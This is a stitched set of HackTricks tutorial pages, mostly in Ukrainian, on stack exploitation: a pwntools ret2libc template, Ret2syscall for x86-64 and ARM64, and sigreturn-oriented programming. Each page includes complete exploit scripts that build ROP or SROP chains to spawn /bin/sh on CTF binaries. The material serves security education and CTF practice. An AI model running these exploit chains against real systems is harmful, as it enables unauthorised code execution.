<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% code title="template.py" %}
```python
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
###################
### CONNECTION ####
###################
LOCAL = False
REMOTETTCP = True
REMOTESSH = False
GDB = False
USE_ONE_GADGET = False
LOCAL_BIN = "./vuln"
REMOTE_BIN = "~/vuln" #For ssh
LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
#########################
#### OFFSET FINDER ######
#########################
OFFSET = b"" #b"A"*264
if OFFSET == b"":
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
####################
### Find Gadgets ###
####################
try:
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (ROP_LOADED.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
log.info("ret gadget: " + hex(RET))
########################
### Find LIBC offset ###
########################
def generate_payload_aligned(rop):
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
#############################
#### FINAL EXPLOITATION #####
#############################
## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
rop2 = b""
if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation
if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
print(P.clean())
P.sendline(rop2)
P.interactive() #Interact with your shell :)
```
{% endcode %}
## Загальні проблеми
### MAIN\_PLT = elf.symbols\['main'] не знайдено
Якщо символ "main" не існує (ймовірно, через те, що це обрізаний бінарний файл). Тоді ви можете просто знайти, де знаходиться основний код:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
і встановіть адресу вручну:
```python
MAIN_PLT = 0x401080
```
### Puts не знайдено
Якщо бінарний файл не використовує Puts, ви повинні **перевірити, чи використовує він**
### `sh: 1: %s%s%s%s%s%s%s%s: не знайдено`
Якщо ви знайдете цю **помилку** після створення **всіх** експлойтів: `sh: 1: %s%s%s%s%s%s%s%s: не знайдено`
Спробуйте **відняти 64 байти від адреси "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,208 @@
# Ret2syscall
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Це схоже на Ret2lib, однак у цьому випадку ми не будемо викликати функцію з бібліотеки. У цьому випадку все буде підготовлено для виклику системного виклику `sys_execve` з деякими аргументами для виконання `/bin/sh`. Ця техніка зазвичай виконується на бінарних файлах, які скомпільовані статично, тому може бути багато гаджетів і інструкцій системного виклику.
Щоб підготувати виклик для **syscall**, потрібна наступна конфігурація:
* `rax: 59 Вказати sys_execve`
* `rdi: ptr до "/bin/sh" вказати файл для виконання`
* `rsi: 0 вказати, що аргументи не передані`
* `rdx: 0 вказати, що змінні середовища не передані`
Отже, в основному потрібно записати рядок `/bin/sh` десь, а потім виконати `syscall` (з урахуванням заповнення, необхідного для контролю стеку). Для цього нам потрібен гаджет, щоб записати `/bin/sh` у відомій області.
{% hint style="success" %}
Ще один цікавий системний виклик для виклику - це **`mprotect`**, який дозволить зловмиснику **змінити дозволи сторінки в пам'яті**. Це можна поєднати з [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
{% endhint %}
## Register gadgets
Давайте почнемо з пошуку **як контролювати ці регістри**:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
З цими адресами можливо **записати вміст у стек і завантажити його в регістри**.
## Записати рядок
### Записувана пам'ять
Спочатку потрібно знайти записуване місце в пам'яті.
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Записати рядок у пам'ять
Тоді вам потрібно знайти спосіб записати довільний вміст за цією адресою
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Автоматизація ROP ланцюга
Наступна команда створює повний `sys_execve` ROP ланцюг для статичного бінарного файлу, коли є гаджети write-what-where та інструкції syscall:
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 біти
```python
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 біти
```python
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Відсутність гаджетів
Якщо у вас **відсутні гаджети**, наприклад, для запису `/bin/sh` в пам'ять, ви можете використовувати **техніку SROP для контролю всіх значень регістрів** (включаючи RIP та регістри параметрів) зі стеку:
{% content-ref url="../srop-sigreturn-oriented-programming/" %}
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
{% endcontent-ref %}
## Приклад експлуатації
```python
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
```
## Інші приклади та посилання
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 біти, без PIE, nx, записати в пам'ять ROP для виклику `execve` і стрибка туди.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 біти, nx, без PIE, записати в пам'ять ROP для виклику `execve` і стрибка туди. Для запису в стек зловживається функцією, яка виконує математичні операції.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 біти, без PIE, nx, BF canary, записати в пам'ять ROP для виклику `execve` і стрибка туди.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -0,0 +1,151 @@
# Ret2syscall - ARM64
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
Знайдіть вступ до arm64 у:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Код
Ми будемо використовувати приклад зі сторінки:
{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %}
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
{% endcontent-ref %}
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
```
Скомпілювати без pie та canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
## Gadgets
Щоб підготувати виклик для **syscall**, потрібна наступна конфігурація:
* `x8: 221 Вказати sys_execve`
* `x0: ptr до "/bin/sh" вказати файл для виконання`
* `x1: 0 вказати, що аргументи не передані`
* `x2: 0 вказати, що змінні середовища не передані`
Використовуючи ROPgadget.py, я зміг знайти наступні гаджети в бібліотеці libc машини:
{% code overflow="wrap" %}
```armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
```
{% endcode %}
З попередніми гаджетами ми можемо контролювати всі необхідні регістри зі стеку та використовувати x5, щоб перейти до другого гаджета для виклику syscall.
{% hint style="success" %}
Зверніть увагу, що знання цієї інформації з бібліотеки libc також дозволяє здійснити атаку ret2libc, але давайте використаємо це для цього поточного прикладу.
{% endhint %}
### Exploit
```python
from pwn import *
p = process('./ret2syscall')
elf = context.binary = ELF('./ret2syscall')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc.address + 0xbb97c
print("/bin/sh in: " + hex(binsh))
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
print("call_execve in: " + hex(call_execve))
# stack offset
bof = b"A" * (stack_offset)
bof += p64(load_x0_x1_x2)
# ldp x3, x0, [sp, #8]
rop = b"BBBBBBBBBBBBBBBB" #x3
rop += p64(binsh) #x0
# ldp x1, x4, [sp, #0x18]
rop += b"C"*(0x18 - len(rop))
rop += p64(0x00) # x1
rop += b"CCCCCCCC" #x4
# ldr x5, [sp, #0x58]
rop += b"D"*(0x58 - len(rop))
rop += p64(call_execve) # x5
# ldr x2, [sp, #0xe0]
rop += b"E" * (0xe0 - len(rop))
rop += p64(0x00) # x2
payload = bof + rop
p.sendline(payload)
p.interactive()
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,166 @@
# SROP - Sigreturn-Oriented Programming
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
**`Sigreturn`** - це спеціальний **syscall**, який в основному використовується для очищення після завершення виконання обробника сигналів. Сигнали - це переривання, які надсилаються програмі операційною системою, часто для вказівки на те, що сталася якась виняткова ситуація. Коли програма отримує сигнал, вона тимчасово призупиняє свою поточну роботу, щоб обробити сигнал за допомогою **обробника сигналів**, спеціальної функції, призначеної для роботи з сигналами.
Після завершення обробника сигналів програма повинна **відновити свій попередній стан**, ніби нічого не сталося. Тут і вступає в гру **`sigreturn`**. Він допомагає програмі **повернутися з обробника сигналів** і відновлює стан програми, очищаючи стековий фрейм (сектор пам'яті, що зберігає виклики функцій і локальні змінні), який використовувався обробником сигналів.
Цікава частина полягає в тому, як **`sigreturn`** відновлює стан програми: він робить це, зберігаючи **всі значення регістрів ЦП на стеку.** Коли сигнал більше не заблокований, **`sigreturn` витягує ці значення зі стеку**, ефективно скидаючи регістри ЦП до їх стану до обробки сигналу. Це включає регістр вказівника стеку (RSP), який вказує на поточну верхню частину стеку.
{% hint style="danger" %}
Виклик syscall **`sigreturn`** з ROP-ланцюга та **додавання значень регістрів**, які ми хочемо завантажити в **стек**, дозволяє **контролювати** всі значення регістрів і, отже, **викликати**, наприклад, syscall `execve` з `/bin/sh`.
{% endhint %}
Зверніть увагу, що це буде **типом Ret2syscall**, який значно спрощує контроль параметрів для виклику інших Ret2syscalls:
{% content-ref url="../rop-syscall-execv/" %}
[rop-syscall-execv](../rop-syscall-execv/)
{% endcontent-ref %}
Якщо вам цікаво, це **структура sigcontext**, що зберігається в стеку для подальшого відновлення значень (діаграма з [**тут**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
```
Для кращого пояснення також перегляньте:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Приклад
Ви можете [**знайти приклад тут**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), де виклик signeturn конструюється через ROP (вставляючи в rxa значення `0xf`), хоча це фінальний експлойт звідти:
```python
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Перевірте також [**експлойт звідси**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html), де бінар вже викликав `sigreturn`, тому немає необхідності будувати це з **ROP**:
```python
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Інші приклади та посилання
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
* Бінарний код на асемблері, який дозволяє **записувати в стек** і потім викликає **`sigreturn`** системний виклик. Можливо записати в стек [**ret2syscall**](../rop-syscall-execv/) через структуру **sigreturn** і прочитати прапорець, який знаходиться в пам'яті бінарного файлу.
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
* Бінарний код на асемблері, який дозволяє **записувати в стек** і потім викликає **`sigreturn`** системний виклик. Можливо записати в стек [**ret2syscall**](../rop-syscall-execv/) через структуру **sigreturn** (бінарний файл містить рядок `/bin/sh`).
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
* 64 біти, без relro, без canary, nx, без pie. Простий переповнення буфера, що зловживає функцією `gets` з нестачею гаджетів, які виконують [**ret2syscall**](../rop-syscall-execv/). LOP-ланцюг записує `/bin/sh` в `.bss`, викликаючи `gets` знову, зловживає функцією **`alarm`**, щоб встановити eax на `0xf`, щоб викликати **SROP** і виконати оболонку.
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
* 64 біти, програма на асемблері, без relro, без canary, nx, без pie. Потік дозволяє записувати в стек, контролювати кілька регістрів і викликати системний виклик, а потім викликає `exit`. Вибраний системний виклик - це `sigreturn`, який встановить регістри і перемістить `eip`, щоб викликати попередню інструкцію системного виклику і виконати `memprotect`, щоб встановити простір бінарного файлу на `rwx` і встановити ESP в бінарному просторі. Далі програма знову викличе `read` в ESP, але в цьому випадку ESP вказуватиме на наступну інструкцію, тому передача shellcode запише його як наступну інструкцію і виконає.
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
* SROP використовується для надання привілеїв виконання (memprotect) місцю, де був розміщений shellcode.
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
